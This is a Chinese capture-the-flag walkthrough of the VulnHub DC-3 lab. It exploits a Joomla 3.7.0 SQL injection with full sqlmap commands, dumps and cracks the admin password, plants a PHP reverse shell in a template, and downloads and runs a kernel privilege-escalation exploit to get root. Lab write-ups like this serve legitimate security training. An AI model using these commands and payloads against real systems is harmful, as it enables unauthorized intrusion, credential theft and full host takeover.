vulnhub dc3 靶场实战

靶场地址:https://download.vulnhub.com/dc/DC-3.zip

信息收集

首先还是扫描一下ip

image-20220324221750028

得到IP为:192.168.123.132

再扫描一下服务、端口等信息,做信息收集

image-20220324221844217

80端口开发,自然要访问一下

image-20220324221923638再看看是什么类型的系统呢,whatweb走一波

image-20220324222951786

发现是joomla系统,然后再用msf确定一下版本

image-20220324222745227

最终确定是 joomla 3.7.0

然后使用searchsploit搜索,发现有两个漏洞

image-20220324223119072

看一下注入代码

image-20220324223218772

自己构造一下

爆破数据库

先爆破一下数据库

1
sqlmap -u "http://192.168.123.132/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent --dbs -p list[fullordering]

爆破出了5个数据库

image-20220324223429571

看看现在网站所使用的是哪个数据库

1
sqlmap -u "http://192.168.123.132/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent --current-db -p list[fullordering] 

确认出当前数据库为:joomladb

image-20220324223632990

那接着继续爆破 joomladb 这个数据库下的表

1
sqlmap -u "http://192.168.123.132/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -D joomladb --tables -p list[fullordering]

总共爆破出76个表

image-20220324223800599

然后根据猜测,用户信息应该保存在 #__users 表中

image-20220324223940595

接着爆破尝试一下,看看这个表有哪些列

1
sqlmap -u "http://192.168.123.132/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -D joomladb -T "#__users" --columns -p list[fullordering]

爆破出这个表有5列

image-20220324224121496

查看列中的内容

1
sqlmap -u "http://192.168.123.132/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -D joomladb -T "#__users" -C name,password,username --dump  -p list[fullordering]

出来了一个admin用户

image-20220324224247632

把这个密码跑一下

image-20220324224315189

解密后明文为:snoopy

尝试登录

image-20220324224413512

发现没什么信息,那么就尝试后台登录看看

dirb跑一下后台

写反弹shell

登录进来了

image-20220325154029973

发现在Extensions/Templates下的Templates下可以创建文章,那么我就来写一个反弹shell

image-20220325154143396

注意创建文章的位置,然后自己构造访问的路径

image-20220325154647821

构造访问路径

1
http://192.168.123.132/templates/beez3/html/com_content/article/shell2.php

用 nc监听一下4455端口

image-20220325154932974

提权

尝试无密码提权看看

1
sudo -l

提权失败

尝试利用find提权

1
2
touch abc
find abc -exec

也失败了

看了一下内核、版本等信息

1
2
3
uanme -a
uanme -r
uname -v

确认系统为Ubuntu 16.04

搜索一下POC

1
searchploit ubuntu 16.04

image-20220325155702955

这个漏洞可以提权

1
Linux Kernel (Ubuntu 16.04) - Reference Count Overflow Using BPF Maps linux/dos/39773.txt

exploit-db.com 搜索一下,拿到github链接

image-20220325155839918

wget下载下来

1
wget https://github.com/offensive-security/exploitdb-bin-sploits/raw/master/bin-sploits/39773.zip

在这里主要注意,可能因为网络的原因下载不下来,我是下载到自己的本地,再通过蚁剑连接后上传上去的

接下来就是解压,然后执行

1
2
sh compile.sh
./doubleput

image-20220325160236097

提权成功

image-20220325160341239

image-20220325160536798

flag在root目录下

image-20220325160615705

总结:

在写反弹shell的时候找可以写入的地方,写了好几个shell最终没有执行成功,在最终在templates里才找到位置写入成功,要细心一点

本次提权的关键点是在使用searchploit搜索出了可成功执行利用的漏洞